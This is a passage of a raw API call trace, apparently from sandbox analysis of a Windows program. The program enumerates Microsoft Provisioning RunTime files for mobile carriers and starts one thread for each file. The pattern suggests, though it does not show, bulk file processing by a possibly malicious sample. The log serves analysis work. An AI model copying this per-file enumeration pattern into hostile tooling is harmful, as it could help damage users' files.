(_String1="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.766] wcscmp (_String1="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x347d240 [0085.766] wcscpy (in: _Dest=0x347d240, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.766] wcscat (in: _Dest=0x347d240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.766] wcscat (in: _Dest=0x347d240, _Source="143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" [0085.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0085.767] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", cAlternateFileName="144__C~1.PRO")) returned 1 [0085.767] wcscmp (_String1="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.767] wcscmp (_String1="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.767] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x347d388 [0085.767] wcscpy (in: _Dest=0x347d388, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.767] wcscat (in: _Dest=0x347d388, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.767] wcscat (in: _Dest=0x347d388, _Source="144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" [0085.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d388, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa1c [0085.768] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", cAlternateFileName="145__C~1.PRO")) returned 1 [0085.768] wcscmp (_String1="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.768] wcscmp (_String1="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x140) returned 0x347d4d0 [0085.768] wcscpy (in: _Dest=0x347d4d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.768] wcscat (in: _Dest=0x347d4d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.768] wcscat (in: _Dest=0x347d4d0, _Source="145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" [0085.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d4d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0085.769] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="146__C~1.PRO")) returned 1 [0085.812] wcscmp (_String1="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.812] wcscmp (_String1="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.812] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x347d618 [0085.812] wcscpy (in: _Dest=0x347d618, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.812] wcscat (in: _Dest=0x347d618, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.812] wcscat (in: _Dest=0x347d618, _Source="146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\146__Connections_Cellular_SFR (France)_i0$(__MVID)@WAP.provxml" [0085.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347d618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7c4 [0085.813] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905b56bb, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905b56bb, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905b56bb, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="147__C~1.PRO")) returned 1 [0085.813] wcscmp (_String1="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.813] wcscmp (_String1="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.813] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x3478010 [0085.813] wcscpy (in: _Dest=0x3478010, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.813] wcscat (in: _Dest=0x3478010, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.813] wcscat (in: _Dest=0x3478010, _Source="147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\147__Connections_Cellular_SFR (France)_i1$(__MVID)@WAP.provxml" [0085.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3478010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0085.814] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", cAlternateFileName="148__C~1.PRO")) returned 1 [0085.814] wcscmp (_String1="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.814] wcscmp (_String1="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.814] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x3478158 [0085.814] wcscpy (in: _Dest=0x3478158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.814] wcscat (in: _Dest=0x3478158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.814] wcscat (in: _Dest=0x3478158, _Source="148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\148__Connections_Cellular_SFR (France)_i2$(__MVID)@WAP.provxml" [0085.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3478158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c [0085.815] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", cAlternateFileName="149__C~1.PRO")) returned 1 [0085.815] wcscmp (_String1="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.815] wcscmp (_String1="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.815] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x3477af0 [0085.815] wcscpy (in: _Dest=0x3477af0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.815] wcscat (in: _Dest=0x3477af0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.815] wcscat (in: _Dest=0x3477af0, _Source="149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\149__Connections_Cellular_SFR (France)_i3$(__MVID)@WAP.provxml" [0085.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3477af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x950 [0085.816] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9013ce1d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9013ce1d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9013ce1d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", cAlternateFileName="14__CO~1.PRO")) returned 1 [0085.816] wcscmp (_String1="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.816] wcscmp (_String1="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.816] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x34b67b8 [0085.816] wcscpy (in: _Dest=0x34b67b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.816] wcscat (in: _Dest=0x34b67b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.816] wcscat (in: _Dest=0x34b67b8, _Source="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" [0085.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b67b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938 [0085.817] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="150__C~1.PRO")) returned 1 [0085.817] wcscmp (_String1="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.817] wcscmp (_String1="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.817] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x142) returned 0x34b6660 [0085.817] wcscpy (in: _Dest=0x34b6660, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.817] wcscat (in: _Dest=0x34b6660, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.817] wcscat (in: _Dest=0x34b6660, _Source="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" [0085.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c [0085.817] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="151__C~1.PRO")) returned 1 [0085.817] wcscmp (_String1="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.818] wcscmp (_String1="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x156) returned 0x347bd48 [0085.818] wcscpy (in: _Dest=0x347bd48, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.818] wcscat (in: _Dest=0x347bd48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.818] wcscat (in: _Dest=0x347bd48, _Source="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" [0085.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347bd48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa24 [0085.818] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="152__C~1.PRO")) returned 1 [0085.818] wcscmp (_String1="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.818] wcscmp (_String1="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0085.818] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14c) returned 0x34b6910 [0085.818] wcscpy (in: _Dest=0x34b6910, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0085.818] wcscat (in: _Dest=0x34b6910, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.818] wcscat (in: _Dest=0x34b6910, _Source="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" [0085.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34b6910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa20 [0085.819] FindNextFileW (in: hFindFile=0x33e0558, lpFindFileData=0x34ab948 | out: lpFindFileData=0x34ab948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", cAlternateFileName="153__C~1.PRO")) returned 1 [0085.819] wcscmp (_String1="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0085.819] wcscmp 